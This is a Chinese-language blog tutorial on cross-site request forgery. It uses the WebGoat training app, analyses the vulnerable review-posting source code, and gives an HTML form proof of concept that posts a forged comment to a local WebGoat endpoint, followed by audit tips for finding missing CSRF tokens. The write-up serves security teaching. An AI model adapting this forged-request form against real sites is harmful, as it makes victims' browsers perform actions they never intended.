大柚子

这世界不过如此

一、概述

CSRF(Cross-site request forgery),也被称为:one click attack/session riding,中文名称:跨站请求伪造,缩写为:CSRF/XSRF。

一般来说,攻击者通过伪造用户的浏览器的请求,向访问一个用户自己曾经认证访问过的网站发送出去,使目标网站接收并误以为是用户的真实操作而去执行命令。常用于盗取账号、转账、发送虚假消息等。攻击者利用网站对请求的验证漏洞而实现这样的攻击行为,网站能够确认请求来源于用户的浏览器,却不能验证请求是否源于用户的真实意愿下的操作行为。

二、CSRF代码分析

1、启动WebGoat环境,打开CSRF漏洞利用界面

2、页面中是个评论功能,尝试这个功能,发表正常评论,F12获取真正的处理接口:http://127.0.0.1:8080/WebGoat/csrf/review

3、根据获取到的接口,在idea直接搜索该接口的实现代码,在源码中实现类是:org.owasp.webgoat.csrf.ForgedReviews类的createNewReview方法。

4、分析代码,可以看到整段代码的逻辑是接收参数,然后存入数据库,但是在这个过程中,缺少一个步骤,就是对CSRF的防御。没有防御CSRF的token校验或者refer判断,直接就执行了该功能。

5、知道代码层的缺陷后,查看漏洞页面实际提交的表单页面

6、根据提交的表单代码,构造利用代码,模拟用户提交留言


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8080/WebGoat/csrf/review" method="POST">
      <input type="hidden" name="reviewText" value="老铁 666" />
      <input type="hidden" name="start" value="666" />
      <input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

7、先退出webgoat登录的账号,在同一浏览器打开构造的利用代码,点击submit,此时会跳转到webgoat的登录界面

8、当登录着webgoat的账号,同一浏览器打开构造的利用代码,点击submit,此时会发现执行成功,在漏洞页面会多出一条留言。

三、CSRF代码审计技巧

1、CSRF漏洞一般不需要通过代码审计来发掘,直接黑盒最方便,如查看请求中有无CSRF token。

2、从代码出发,可以查看WEB系统关键操作(添加管理员、修改密码等)有无CSRF防御代码(CSRF token,refer校验)

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。